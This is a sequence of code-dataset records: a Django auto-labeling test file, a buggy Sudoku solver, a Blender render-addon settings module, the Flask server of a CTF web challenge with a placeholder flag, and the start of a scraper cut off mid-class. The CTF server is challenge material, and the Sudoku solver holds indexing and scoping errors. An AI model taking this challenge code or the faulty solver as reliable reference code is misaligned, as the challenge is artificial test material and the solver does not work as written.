TestConfigCreation(CRUDMixin):\n\n def setUp(self):\n self.project = prepare_project(task=DOCUMENT_CLASSIFICATION)\n self.data = {\n 'model_name': 'Amazon Comprehend Sentiment Analysis',\n 'model_attrs': {\n 'aws_access_key': 'str',\n 'aws_secret_access_key': 'str',\n 'region_name': 'us-east-1',\n 'language_code': 'en'\n },\n 'template': AmazonComprehendSentimentTemplate().load(),\n 'label_mapping': {'NEGATIVE': 'Negative'}\n }\n self.url = reverse(viewname='auto_labeling_configs', args=[self.project.item.id])\n\n def test_create_config(self):\n self.assert_create(self.project.users[0], status.HTTP_201_CREATED)\n\n\nclass TestAutoLabelingText(CRUDMixin):\n\n def setUp(self):\n self.project = prepare_project(task=DOCUMENT_CLASSIFICATION)\n make_auto_labeling_config(self.project.item)\n self.example = make_doc(self.project.item)\n self.url = reverse(viewname='auto_labeling_annotation', args=[self.project.item.id, self.example.id])\n\n @patch('api.views.auto_labeling.execute_pipeline', return_value=[])\n def test_text_task(self, mock):\n self.assert_create(self.project.users[0], status.HTTP_201_CREATED)\n _, kwargs = mock.call_args\n self.assertEqual(kwargs['text'], self.example.text)\n\n\nclass TestAutoLabelingImage(CRUDMixin):\n\n def setUp(self):\n self.project = prepare_project(task=IMAGE_CLASSIFICATION)\n make_auto_labeling_config(self.project.item)\n filepath = data_dir / 'images/1500x500.jpeg'\n self.example = make_image(self.project.item, str(filepath))\n self.url = reverse(viewname='auto_labeling_annotation', args=[self.project.item.id, self.example.id])\n\n @patch('api.views.auto_labeling.execute_pipeline', return_value=[])\n def test_text_task(self, mock):\n self.assert_create(self.project.users[0], status.HTTP_201_CREATED)\n _, kwargs = mock.call_args\n expected = str(self.example.filename)\n self.assertEqual(kwargs['text'], expected)\n","sub_path":"backend/api/tests/api/test_auto_labeling.py","file_name":"test_auto_labeling.py","file_ext":"py","file_size_in_byte":5751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"546431519","text":"import time\r\n\r\nclass Cell:\r\n def __init__(self):\r\n self.solvedNum = -1\r\n self.__allowedNums = [True for x in range (9)]\r\n def getAllowedNum(self, i):\r\n return self.__allowedNums[i-1]\r\n def setAllowedNum(self,i, b):\r\n self.__allowedNums[i - 1] = b\r\n\r\ndef printBoard(cells):\r\n print()\r\n print()\r\n for i in range(9):\r\n for j in range(9):\r\n print (\" \" if cells[i][j].solvedNum == -1 else cells[i][j].solvedNum, end = '')\r\n print()\r\n time.sleep(1)\r\n\r\ndef isCellsSolved(cells):\r\n for arr in cells:\r\n for c in arr:\r\n if c.solvedNum == -1:\r\n return False\r\n return True\r\n\r\ndef Solve(cells):\r\n while not isCellsSolved(cells) or not isImpossible:\r\n cells = SolveIter(cells)\r\n printBoard(cells)\r\n\r\ndef SolveIter(cells):\r\n newCells = cells\r\n for i in range(9):\r\n for j in range(9):\r\n newCells = FillIn(cells, i, j)\r\n return newCells\r\n\r\n# Fill in the cell at the specified spot\r\ndef FillIn(cells, x, y):\r\n if cells[x][y].solvedNum != -1:\r\n return cells\r\n\r\n # Check each Row & Column\r\n for i in range(9):\r\n if cells[x][i].solvedNum != -1:\r\n cells[x][y].setAllowedNum(cells[x][i].solvedNum, False)\r\n for i in range(9):\r\n if cells[i][y].solvedNum != -1:\r\n cells[x][y].setAllowedNum(cells[i][x].solvedNum, False)\r\n #Check each 3x3 cell\r\n for i in range(x-(x%3), 3+x-(x%3)):\r\n for j in range(y-(y%3), 3+y-(y%3)):\r\n if cells[i][j].solvedNum != -1:\r\n cells[x][y].setAllowedNum(cells[i][j].solvedNum, False)\r\n\r\n allowed = 0\r\n allowedNum = -1\r\n for i in range(1,10):\r\n if cells[x][y].getAllowedNum(i) == True:\r\n allowed += 1\r\n allowedNum = i\r\n if allowed == 0:\r\n isImpossible = True\r\n return cells\r\n elif allowed == 1:\r\n cells[x][y].solvedNum = i\r\n return cells\r\n\r\nisImpossible = False\r\npuzzle = [[Cell() for i in range(9)] for i in range(9)]\r\nfile = open(\"Sudoku.txt\")\r\nfor i in range(9):\r\n inputStr = file.readline()\r\n for j in range(9):\r\n c = Cell()\r\n if inputStr[j].isdigit():\r\n c.solvedNum = int(inputStr[j])\r\n puzzle[i][j] = c\r\n\r\nprintBoard(puzzle)\r\nSolve(puzzle)\r\nprintBoard(puzzle)\r\nprint(\"Done!\")","sub_path":"archive/Sudoku-Solver.py","file_name":"Sudoku-Solver.py","file_ext":"py","file_size_in_byte":2339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"644836179","text":"# ------------------------------------------------------------------------------\n# LICENSE\n# ------------------------------------------------------------------------------\n# Render+ - Blender addon\n# (c) Copyright Diego Garcia Gangl (januz) - 2014, 2015\n# \n# ------------------------------------------------------------------------------\n# This file is part of Render+\n#\n# Render+ is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software Foundation,\n# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n# ------------------------------------------------------------------------------\n\nimport os\nimport platform\n\nimport bpy\nfrom bpy.props import (IntProperty, \n StringProperty,\n BoolProperty,\n EnumProperty,\n FloatProperty,\n FloatVectorProperty,\n CollectionProperty,\n PointerProperty)\n\nfrom . import utils\n\n\n# ------------------------------------------------------------------------------\n# CONVENIENCE STUFF\n# ------------------------------------------------------------------------------\n\n# Addon preferences\ntry:\n prefs = bpy.context.user_preferences.addons[__package__].preferences\nexcept KeyError:\n prefs = None\n\n\n# ------------------------------------------------------------------------------\n# ADDON PREFERENCES\n# ------------------------------------------------------------------------------\n\n\ndef default_path_debug():\n \"\"\" Create a useful default for support log \"\"\"\n \n return os.path.expanduser('~' + os.sep + 'renderplus_support.log')\n\n \ndef make_path_sane(key):\n \"\"\" Prevent Blender's relative paths of doom \"\"\"\n\n if prefs[key] and prefs[key].startswith('//'):\n prefs[key] = utils.sane_path(prefs[key])\n elif key == 'debug_file' and prefs.debug_file == '': \n prefs['debug_file'] = default_path_debug()\n\n\nclass RP_MT_MailQuickSetup(bpy.types.Menu):\n bl_idname = 'wm.rp_mt_mail_quick_setup'\n bl_label = 'Quick Setup'\n\n def draw(self, context):\n layout = self.layout\n\n layout.operator(\n 'renderplus.mail_quick_setup',\n text='Gmail').provider = 'GMAIL'\n layout.operator(\n 'renderplus.mail_quick_setup',\n text='Yahoo').provider = 'YAHOO'\n layout.operator(\n 'renderplus.mail_quick_setup',\n text='MSN/Hotmail/Live').provider = 'LIVE'\n\n\nclass RP_Preferences(bpy.types.AddonPreferences):\n\n \"\"\" Addon preferences for Render+ \"\"\"\n\n bl_idname = __package__\n \n # --------------------------------------------------------------------------\n # NOTIFICATIONS TAB\n\n sound_file = StringProperty(\n name='Custom Sound for notifications',\n description='Use notifications sound',\n subtype='FILE_PATH',\n update=lambda a,b: make_path_sane('sound_file'),\n default=utils.path('assets', 'notification.ogg')\n )\n\n sound_volume = FloatProperty(\n name='Sound Volume',\n description='Set the volume for sound notifications',\n default=90.0,\n min=0,\n max=100.0\n )\n\n mail_user = StringProperty(\n name='Username',\n description='User to login into the mail server',\n default=''\n )\n\n mail_password = StringProperty(\n name='Password',\n description='Password to login into the mail server',\n subtype='PASSWORD',\n default=''\n )\n\n mail_ssl = BoolProperty(\n name='Use SSL',\n description='Connect to mail server using Secure Sockets',\n default=False,\n )\n\n mail_server = StringProperty(\n name='Mail server (SMTP)',\n description='Server to send use when sending mails',\n default=''\n )\n\n mail_to = StringProperty(\n name='Send to',\n description='Address to send mail to',\n )\n\n # --------------------------------------------------------------------------\n # BATCH TAB\n\n show_batch = BoolProperty(\n name='Show Batch render panel',\n description='Show Batch rendering panel in render properties',\n default=True,\n )\n\n batch_refresh_interval = FloatProperty(\n name='Refresh interval for batch panel',\n description=('Time between refreshes in the UI panel while a batch is'\n 'running (in seconds).'),\n default=1.0,\n min=0.2,\n max=60.0\n )\n \n batch_new_dirs = BoolProperty(\n name = 'Automatically create directories when rendering',\n description = ('Try to create directories set in output paths' \n ' if they don\\'t exist when rendering.'),\n default = True,\n )\n \n batch_use_custom_css = BoolProperty(\n name = 'Use a custom CSS file for RSS feeds',\n description = 'Use a custom stylesheet for RSS feeds',\n default = False,\n )\n \n batch_custom_css = StringProperty(\n name = 'Custom CSS file',\n description = 'Custom CSS file to use for RSS Feeds',\n default = '',\n update=lambda a,b: make_path_sane('batch_custom_css'),\n subtype = 'FILE_PATH',\n )\n\n batch_cuda_devices = IntProperty( \n name='Amount of Cuda devices in system',\n min=-1,\n max=64,\n default=-1,\n )\n\n batch_cuda_active = StringProperty( \n name='Cuda device set in preferences',\n default='',\n )\n \n blender_path = StringProperty(\n name='Custom Blender Command',\n description=('Blender to use for batches. Type a'\n 'command or point this to the Blender executable.'),\n update=lambda a,b: make_path_sane('blender_path'),\n subtype='FILE_PATH'\n )\n\n term_path = StringProperty(\n name='Custom Terminal Command',\n description=('Terminal to use for batches. Type a'\n 'command or point this to a terminal executable.'),\n update=lambda a,b: make_path_sane('term_path'),\n subtype='FILE_PATH'\n )\n\n # --------------------------------------------------------------------------\n # HELP TAB\n\n\n enable_debug = BoolProperty(\n name='Generate support log',\n description=('Enable debugging output. This is used to get information'\n 'when reporting a bug, or requesting support.'),\n default = False,\n )\n\n debug_file = StringProperty(\n name='Support log file',\n description='Where to save the support log output',\n update=lambda a,b: make_path_sane('debug_file'),\n subtype='FILE_PATH',\n default=default_path_debug(),\n )\n\n ui_tab = EnumProperty(\n name='Tab',\n description='Tab in the preferences editor',\n items=(('NOTIFICATIONS', 'Notifications', ''),\n ('BATCH', 'Batch', ''),\n ('HELP', 'Help', ''),\n ),\n default='NOTIFICATIONS')\n\n\n\n def draw(self, context):\n layout = self.layout\n\n row = layout.row()\n row.prop(self, 'ui_tab', expand=True)\n\n if self.ui_tab == 'NOTIFICATIONS':\n layout.separator()\n layout.prop(self, 'sound_file', icon='PLAY_AUDIO')\n row = layout.row()\n row.label(text='Sound Volume')\n row.prop(self, 'sound_volume', text='', slider=True)\n layout.separator()\n layout.separator()\n\n split = layout.split(0.75)\n split.label(text='Email Setup', icon='SCRIPTWIN')\n split.menu('wm.rp_mt_mail_quick_setup')\n\n split = layout.split(1.0)\n col = split.column()\n col.prop(self, 'mail_to')\n col.separator()\n col.prop(self, 'mail_user')\n col.prop(self, 'mail_password')\n\n col.prop(self, 'mail_server')\n col.prop(self, 'mail_ssl')\n\n elif self.ui_tab == 'BATCH':\n layout.separator()\n layout.prop(self, 'show_batch')\n \n row = layout.row()\n row.enabled = self.show_batch\n row.prop(self, 'batch_refresh_interval')\n layout.separator()\n \n row = layout.row()\n row.prop(self, 'batch_new_dirs')\n \n split = layout.split(0.4)\n \n col = split.column()\n col.prop(self, 'batch_use_custom_css')\n \n col = split.column()\n col.enabled = self.batch_use_custom_css\n col.prop(self, 'batch_custom_css', text='')\n\n \n layout.separator()\n layout.prop(self, 'blender_path', icon='BLENDER')\n layout.prop(self, 'term_path', icon='CONSOLE')\n layout.label(text=('Fill this if you want to use a different'\n ' Blender or Terminal for batches.'\n ' Leave emtpy to use defaults.'), icon='INFO')\n layout.separator()\n \n elif self.ui_tab == 'HELP':\n layout.prop(self, 'enable_debug')\n\n layout.separator()\n\n if self.enable_debug:\n privacy = (\n 'The debug file will contain the following information '\n 'about your system: Operating system, Blender version and branch.')\n\n layout.prop(self, 'debug_file')\n layout.label(privacy, icon='INFO')\n\n layout.separator()\n\n\n# ------------------------------------------------------------------------------\n# BATCH OPERATOR SETTINGS\n# ------------------------------------------------------------------------------\n\n# These are settings used by operators. They are set as props here \n# so they can be shown in panels, instead of popups.\n\nsuffix_options =(\n ('NONE', 'None', ''),\n ('SCENE', 'Scene', ''),\n ('RENDERLAYER', 'Render Layer', ''),\n ('CAMERA', 'Camera', ''),\n ) \n\nclass RP_Batch_Ops_OutputChange(bpy.types.PropertyGroup):\n\n \"\"\" Data for Output Change \"\"\"\n \n # Output \n # --------------------------------------------------------------------------\n base_directory = StringProperty(\n name='Base directory',\n default='', \n subtype='FILE_PATH'\n )\n \n base_filename = StringProperty(\n name='Base filename',\n default='', \n )\n\n \n # Suffixes for filenames\n # --------------------------------------------------------------------------\n name_suffix_01 = EnumProperty(\n items= suffix_options,\n name='First Suffix',\n )\n\n name_suffix_02 = EnumProperty(\n items= suffix_options,\n name='Second Suffix',\n )\n\n name_suffix_03 = EnumProperty(\n items= suffix_options,\n name='Third Suffix',\n )\n\n\n # Subdirectories\n # --------------------------------------------------------------------------\n subdirs_scene = BoolProperty(\n name='Scenes',\n description='Make subir for each scene',\n default=False,\n )\n\n subdirs_cam = BoolProperty(\n name='Cameras',\n description='Make subir for each camera',\n default=False,\n )\n \n subdirs_layer = BoolProperty(\n name='Render Layers',\n description='Make subir for each renderlayer',\n default=False,\n )\n\n\nclass RP_Batch_Ops_QuickBatch(bpy.types.PropertyGroup):\n\n \"\"\" Data for Quick Batch \"\"\"\n \n tiles_x = IntProperty( \n name='Horizontal Tiles',\n min=1,\n max=10,\n default=2,\n )\n\n tiles_y = IntProperty( \n name='Vertical Tiles',\n min=1,\n max=10,\n default=2,\n )\n\n output_path = StringProperty(\n name='Output path',\n default='', \n subtype='FILE_PATH'\n )\n \n size_x = IntProperty( \n name='Width',\n min=1,\n max=10000,\n default=1,\n subtype='PIXEL',\n )\n \n size_y = IntProperty( \n name='Height',\n min=1,\n max=100000,\n default=1,\n subtype='PIXEL',\n )\n \n scene = StringProperty(default=\"\", name=\"Scene\")\n \n all_scenes = BoolProperty(default=False, name=\"Use all scenes\")\n \n use_animation = BoolProperty( \n name='Animation',\n default=True, \n description='Make animation render jobs',\n )\n \n no_camera = BoolProperty( \n name='Don\\'t use cameras',\n default=False, \n description='Don\\'t setup cameras for render jobs',\n )\n \n \n \nclass RP_Batch_Ops(bpy.types.PropertyGroup):\n \"\"\" Settings for operators \"\"\"\n \n output_change = PointerProperty(type=RP_Batch_Ops_OutputChange)\n quick_batch = PointerProperty(type=RP_Batch_Ops_QuickBatch)\n \n \n# ------------------------------------------------------------------------------\n# RENDER JOB\n# ------------------------------------------------------------------------------\n\n# ------------------------------------------------------------------------------\n# HELPER FUNCTIONS\n\n\ndef check_job_name(name):\n \"\"\" Make sure the job name is unique \"\"\"\n\n def check_duplicate(i, name_to_check):\n \"\"\" check new names recursively \"\"\"\n \n if name_to_check not in seen:\n return name_to_check\n else:\n i += 1\n correct_name = '{0}.{1:0>3}'.format(name, i) \n return check_duplicate(i, correct_name)\n\n # -------------------------------------------------------------------------- \n batch = bpy.context.scene.renderplus.batch.jobs\n seen = set()\n i = 0\n \n for job in batch:\n if job.name not in seen:\n seen.add(job.name)\n \n return check_duplicate(i, name)\n\n\ndef set_job_name(self, value):\n \"\"\" Wrapper to call check_job_name \"\"\"\n\n if 'name' in self and self['name'] == value:\n return\n\n self['name'] = check_job_name(value)\n\n\ndef get_job_name(self):\n \"\"\" Get the job's name \"\"\"\n\n # Sometimes draw() calls this, before it's defined\n if 'name' in self:\n return self['name']\n else:\n return 'Untitled Render Job'\n\n\ndef default_job_name():\n \"\"\" Return the default name for a job \"\"\"\n\n return check_job_name('New Render Job')\n\n\ndef fill_job_from_scene(self, context):\n \"\"\" Populate all fields for render job from scene data \"\"\"\n \n batch_list = bpy.context.scene.renderplus.batch.jobs\n index = bpy.context.scene.renderplus.batch.index\n \n if batch_list[index].use_external:\n return\n \n try:\n scene = bpy.data.scenes[batch_list[index].scene]\n except KeyError:\n return\n \n try:\n batch_list[index].camera = scene.camera.name\n except AttributeError:\n pass\n \n try:\n batch_list[index].world = scene.world.name\n except AttributeError:\n pass\n \n batch_list[index].layer = scene.render.layers[0].name\n \n \ndef set_external(self, context):\n \n batch_list = bpy.context.scene.renderplus.batch.jobs\n index = bpy.context.scene.renderplus.batch.index\n \n if batch_list[index].use_external:\n batch_list[index].scene = ''\n batch_list[index].camera = ''\n batch_list[index].world = ''\n batch_list[index].layer = ''\n else:\n batch_list[index].scene = context.scene.name\n \n \n\ndef is_batch_format_optional(format):\n \"\"\" Check if a file format is optional \"\"\"\n\n optional = (\n 'HDR',\n 'TIFF',\n 'EXR',\n 'MULTILAYER',\n 'MPEG',\n 'AVICODEC',\n 'QUICKTIME',\n 'CINEON',\n 'DPX',\n 'DDS')\n\n return (format in optional)\n\n\n\ndef generate_GPU_enum(self, context):\n \"\"\" Generate list of computing devices for ui \"\"\"\n \n items = [\n ('DEFAULT', 'Default', 'Don\\'t change computing device'),\n ('CPU', 'CPU', 'Render using the CPU')\n ]\n \n for i in range(prefs.batch_cuda_devices):\n items.append(('CUDA_' + str(i), \n 'GPU #' + str(i+1), \n 'Use this GPU to render'))\n \n return items\n\n# ------------------------------------------------------------------------------\n# CLASSES\n\n\nclass RP_CustomOverride(bpy.types.PropertyGroup):\n\n \"\"\" Custom overrides for a render job \"\"\"\n\n path = StringProperty(\n name='Datapath',\n description='Datapath to property',\n default='')\n\n data = StringProperty(\n name='Data',\n description='Data to use',\n default='')\n \n name = StringProperty(\n name='Name',\n description='Override Name',\n default='New Custom Override')\n \n enabled = BoolProperty(\n name='Enabled',\n description='Enable this override',\n default = True,)\n\n\nclass RP_RenderJob(bpy.types.PropertyGroup):\n\n \"\"\" Render job to put in queue \"\"\"\n\n # --------------------------------------------------------------------------\n # BASIC PROPS\n\n name = StringProperty(\n name='Name',\n description='A name to identify this job in the queue',\n default='Untitled Render Job',\n set=set_job_name,\n get=get_job_name)\n\n scene = StringProperty(\n name='Scene',\n description='Scene to render',\n default='',\n update=fill_job_from_scene)\n\n camera = StringProperty(\n name='Camera',\n description='Camera to use in this render',\n default='')\n\n world = StringProperty(\n name='World',\n description='World to use in this render',\n default='')\n\n layer = StringProperty(\n name='Render Layer',\n description='Use only this render layer',\n default='')\n\n enabled = BoolProperty(\n name='Enable this render job',\n description='Process this render job',\n default=True)\n\n # --------------------------------------------------------------------------\n # EXTERNAL BLEND\n # --------------------------------------------------------------------------\n\n use_external = BoolProperty(\n name='Use external blendfile',\n description='Use a external blend file for this job',\n default=False,\n update=set_external)\n\n blend_file = StringProperty(\n name='Blend File',\n description='Path to external blendfile',\n subtype='FILE_PATH',\n default='')\n\n # --------------------------------------------------------------------------\n # FRAMES AND ANIMATION\n # --------------------------------------------------------------------------\n\n animation = BoolProperty(\n name='Animation',\n description='Render an animation instead of a still image',\n default=False)\n\n frame_custom = BoolProperty(\n name='Custom Frame',\n description='Use a custom frame or frame range for this render',\n default=False)\n\n frame_still = IntProperty(\n name='Frame',\n description='Frame to render',\n default=0)\n\n frame_start = IntProperty(\n name='Start Frame',\n description='First frame of the animation range',\n default=0)\n\n frame_end = IntProperty(\n name='End Frame',\n description='Final frame of the animation range',\n default=250)\n\n # --------------------------------------------------------------------------\n # OUTPUT\n # --------------------------------------------------------------------------\n\n output = StringProperty(\n name='Output',\n description='Filename to output to',\n subtype='FILE_PATH',\n default='')\n\n use_custom_format = BoolProperty(\n name='Custom File Format',\n description='Use a specific file format for this render job',\n default=False,\n )\n\n format = EnumProperty(\n name='Format',\n description='Format to use in the render job',\n items=(('TGA', 'Targa', ''),\n ('IRIS', 'Iris', ''),\n ('JPEG', 'Jpeg', ''),\n ('MOVIE', 'Movie', ''),\n ('RAWTGA', 'Raw Targa', ''),\n ('AVIRAW', 'Raw AVI', ''),\n ('AVIJPEG', 'Jpeg AVI', ''),\n ('PNG', 'PNG', ''),\n ('BMP', 'BMP', ''),\n ('HDR', 'Radiance HDR', ''),\n ('TIFF', 'TIFF', ''),\n ('EXR', 'OpenEXR', ''),\n ('MULTILAYER', 'OpenEXR Multilayer', ''),\n ('MPEG', 'MPEG', ''),\n ('QUICKTIME', 'Quicktime', ''),\n ('CINEON', 'Cineon', ''),\n ('DPX', 'DPX', ''),\n ('DDS', 'DDS', ''),\n ),\n default='PNG',\n )\n \n cycles_samples = IntProperty(\n name='Samples',\n description=('Samples to render. Set to 0 to use'\n ' the value set in the scene'),\n default=0,\n min=0,\n max=10000)\n\n threads = IntProperty(\n name='Threads',\n description='Threads to use while rendering',\n default=0,\n min=0,\n max=64)\n\n # --------------------------------------------------------------------------\n # RENDER SIZE\n # --------------------------------------------------------------------------\n\n size_custom = BoolProperty(\n name='Custom Size',\n description='Use a custom render size for this job',\n default=False)\n\n size_x = IntProperty(\n name='Width',\n description='Custom render width for this job',\n default=1920,\n min=4)\n\n size_y = IntProperty(\n name='Height',\n description='Custom render height for this job',\n default=1080,\n min=4)\n\n\n use_section = BoolProperty(\n name='Render section',\n description = 'Render only a section of the image',\n default= False,)\n\n section_x = FloatProperty(\n name='X',\n description='Starting X coordinate for section render',\n default=0,\n min=0,\n max=0.99,)\n \n section_y = FloatProperty(\n name='Y',\n description='Starting Y coordinate for section render',\n default=0,\n min=0,\n max=0.99,)\n \n section_width = FloatProperty(\n name='Width',\n description='Width for section render',\n default=1,\n min=0.01,\n max=1,)\n \n section_height = FloatProperty(\n name='Height',\n description='Height for section render',\n default=1,\n min=0.01,\n max=1,)\n \n device = EnumProperty(\n name='Compute Device',\n description='Compute device to render with',\n items=generate_GPU_enum)\n\n # --------------------------------------------------------------------------\n # CUSTOM OVERIDES\n # --------------------------------------------------------------------------\n\n custom_overrides = CollectionProperty(type=RP_CustomOverride)\n \n custom_overrides_index = IntProperty(\n name='Index of current custom override',\n default=0)\n\n\n# ------------------------------------------------------------------------------\n# RENDER SLOTS\n# ------------------------------------------------------------------------------\n\nclass RP_RenderSlot(bpy.types.PropertyGroup):\n\n \"\"\" Customizable render slots \"\"\"\n\n identifier = IntProperty(\n name='ID',\n description='Int to identify this slot',\n default=0,\n min=0,\n max=8\n )\n\n name = StringProperty(\n name='Name',\n description='A name to identify this slot',\n default='Slot',\n )\n\n is_used = BoolProperty(\n name='Slot is used',\n description='True if this slot has been used for render',\n default=False)\n\n\n# ------------------------------------------------------------------------------\n# STATS\n# ------------------------------------------------------------------------------\nclass RP_StatsData(bpy.types.PropertyGroup):\n\n \"\"\" Stats data \"\"\"\n\n average = FloatProperty(\n name='Average frame rendertime',\n description='Averaged rendertime for all frames',\n default=0)\n\n slowest = FloatVectorProperty(\n name='Slowest frame rendertime',\n description='Highest rendertime for all frames',\n size=2,\n default=(0, 0))\n\n fastest = FloatVectorProperty(\n name='Fastest frame rendertime',\n description='Smallest rendertime of all frames',\n size=2,\n default=(0, 0))\n\n remaining = FloatProperty(\n name='Time remaining to complete animation',\n description='Estimation of how long rendering will take',\n default=0)\n\n total = FloatProperty(\n name='Total rendertime',\n description='Time it took to render the last animation',\n default=-1)\n\n ui_toggle = BoolProperty(\n name='Show time stats',\n description='Show more stats about render time',\n default=False)\n\n save_file = BoolProperty(\n name='Save stats to a file',\n description='Save the stats to a CSV file',\n default=False)\n\n\n# ------------------------------------------------------------------------------\n# BATCH\n# ------------------------------------------------------------------------------\nclass RP_BatchSettings(bpy.types.PropertyGroup):\n\n \"\"\" Batch Data \"\"\"\n\n jobs = CollectionProperty(type=RP_RenderJob)\n\n index = IntProperty(\n name='Index of current render job in list',\n default=0)\n\n # Batch Renders Settings -----------------------------\n rss_path = StringProperty(\n name='RSS file',\n description='Filepath to write batch RSS file to',\n default='//feed.rss',\n subtype='FILE_PATH'\n )\n\n use_rss = BoolProperty(\n name='Write RSS file',\n description='Generate a RSS file to monitor batch process',\n default=False)\n\n write_logs = BoolProperty(\n name='Write log files',\n description='Write log files for each render job',\n default=False)\n\n use_global_size = BoolProperty(\n name='Global size',\n description='Override size for all render jobs',\n default=False)\n\n global_size_x = IntProperty(\n name='Width',\n description='Custom render width for all jobs',\n default=1920,\n min=4)\n\n global_size_y = IntProperty(\n name='Height',\n description='Custom render height for all jobs',\n default=1080,\n min=4)\n\n use_global_percentage = BoolProperty(\n name='Global Percentage',\n description='Override size percentage for all jobs',\n default=True)\n\n global_percentage = FloatProperty(\n name='Percentage',\n description='Custom size percentage for all jobs',\n subtype='PERCENTAGE',\n precision=0,\n min=1,\n max=100,\n default=100)\n\n ignore_border = BoolProperty(\n name='Ignore render border',\n description='Ignore render border for batch',\n default=False)\n \n use_term = BoolProperty( \n name='Use terminal',\n description='Run the batch inside a terminal',\n default=False,)\n\n use_rplus_settings = BoolProperty( \n name='Use Render+ Settings',\n description='Use notification, poweroff and post/pre actions in batch',\n default=False,)\n\n # Batch Renders UI \n # --------------------------------------------------------------------------\n ui_job_tab = EnumProperty(\n name='Tab for render job overrides',\n description='Current tab for render job overrides',\n items=(('SCENE', 'Scene', 'Scene related overrides'),\n ('RENDER', 'Render', 'Rendering related overrides'),\n ('CUSTOM', 'Custom', 'Custom Overrides')),\n default='SCENE')\n\n\n# ------------------------------------------------------------------------------\n# ACTION\n# ------------------------------------------------------------------------------\n\nclass RP_ActionSettings(bpy.types.PropertyGroup):\n\n \"\"\" Settings for pre/post actions \"\"\"\n\n option = EnumProperty(\n name='Option',\n description='Options to run this action',\n items=(('command', 'Command', 'Run a command'),\n ('script', 'Script', 'Run a Python script')),\n default='command')\n\n command = StringProperty(\n name='Command',\n description='Command to execute',\n default='')\n\n script = StringProperty(\n name='Script',\n description='Script to run',\n default='')\n\n\n# ------------------------------------------------------------------------------\n# SETTINGS\n# ------------------------------------------------------------------------------\n\n\nclass RP_Settings(bpy.types.PropertyGroup):\n\n \"\"\" Settings and UI States for R+ \"\"\"\n\n off_options = EnumProperty(\n name='Power Off',\n description='Power off when rendering is finished',\n items=(('DISABLED', 'Disabled', 'Let the computer on'),\n ('SLEEP', 'Sleep', 'Set computer to sleep'),\n ('OFF', 'Shut down', 'Turn off computer')),\n default='DISABLED')\n\n\n notifications_desktop = BoolProperty(\n name='Desktop Notifications',\n description='Notify me using the Desktop',\n default=False)\n\n notifications_sound = BoolProperty(\n name='Sound',\n description='Notify me using Sound',\n default=False)\n\n notifications_mail = BoolProperty(\n name='Email',\n description='Send an email to notify me',\n default=False)\n\n opengl_transparent = BoolProperty(\n name='Transparent',\n description='Make background transparent',\n default=False)\n \n opengl_use_viewport = BoolProperty(\n name='Render Viewport',\n description='Render the entire viewport (including invisible objects)',\n default=False)\n \n opengl_percentage = FloatProperty(\n name='Size Percentage',\n description='Custom size percentage OpenGL renders',\n subtype='PERCENTAGE',\n precision=0,\n min=1,\n max=100,\n default=100)\n \n autosave = BoolProperty(\n name='Autosave image renders',\n description=('Save image renders automatically to the folder in the'\n 'output panel'),\n default=False)\n\n stats = PointerProperty(type=RP_StatsData)\n\n batch = PointerProperty(type=RP_BatchSettings)\n \n batch_ops = PointerProperty(type=RP_Batch_Ops)\n\n # Render Slots \n # --------------------------------------------------------------------------\n slots = CollectionProperty(type=RP_RenderSlot)\n\n active_slot = IntProperty(\n name='Index of active slot',\n default=0,\n min=0,\n max=8)\n\n # Post-render settings \n # --------------------------------------------------------------------------\n post_enabled = BoolProperty(\n name='Post Render Toggle',\n description='Enable/Disable post render actions',\n default=False)\n\n post_settings = PointerProperty(type=RP_ActionSettings)\n\n # Pre-render settings \n # --------------------------------------------------------------------------\n pre_enabled = BoolProperty(\n name='Pre Render Toggle',\n description='Enable/Disable Pre render actions',\n default=False)\n\n pre_settings = PointerProperty(type=RP_ActionSettings)\n","sub_path":"All_In_One/addons/renderplus/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":32589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"499950039","text":"from bs4 import BeautifulSoup\nfrom gevent.pywsgi import WSGIServer\nfrom flask import Flask, request, send_from_directory\nfrom flask_limiter import Limiter\nfrom flask_limiter.util import get_remote_address\n\nimport requests\n\nflag = 'ctf{00000000000000000000000000000000}'\n\napp = Flask(__name__)\n\nlimiter = Limiter(\n\tapp,\n\tkey_func=get_remote_address,\n)\n\n# please test this locally so this challenge doesn't get cloudflare'd\n@app.route('/whoami', methods=['POST'])\n@limiter.limit('5 per minute') \ndef whoami():\n\ttoken = request.form.get('token', None)\n\tif token == None or not 1 < len(token) < 60:\n\t\tprint(\"bad\", token)\n\t\treturn 'invalid token'\n\n\ttoken = request.form['token']\n\tres = requests.get('https://dmoj.ca/user', headers={\n\t\t'Authorization': 'Bearer ' + token\n\t})\n\n\tif not res.ok:\n\t\tprint(\"wrong\", token)\n\t\treturn 'invalid token'\n\n\tdom = BeautifulSoup(res.text, features='html.parser')\n\tuser = dom.select_one('#user-links b')\n\n\tif user == None:\n\t\tprint(\"no user\", token)\n\t\treturn 'invalid token'\n\n\tif user.text == 'flag': # https://dmoj.ca/user/flag\n\t\treturn flag\n\n\treturn user.text\n\n\n@app.route('/')\ndef index():\n\treturn send_from_directory('', 'index.html')\n\nWSGIServer(('0.0.0.0', 5001), app).serve_forever()","sub_path":"DMOJCTF/2021/web/whoami/75fc429d78629963b3bea4a8dc6823a45ba39cc8.whoami/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"509421751","text":"\r\nfrom bs4 import BeautifulSoup\r\nimport requests, json\r\nimport openpyxl\r\n\r\nmy_path = \"C:/Python/Documents/KFC_Indonesia.xlsx\"\r\nwb_obj_w = openpyxl.load_workbook(my_path)\r\nsheet_obj_w = wb_obj_w.active\r\n\r\n\r\nclass OBJ:\r\n Title = \"\"\r\n Address = \"\"\r\n FullAddress = \"\"\r\n Suburb = \"\"\r\n State = \"\"\r\n City = 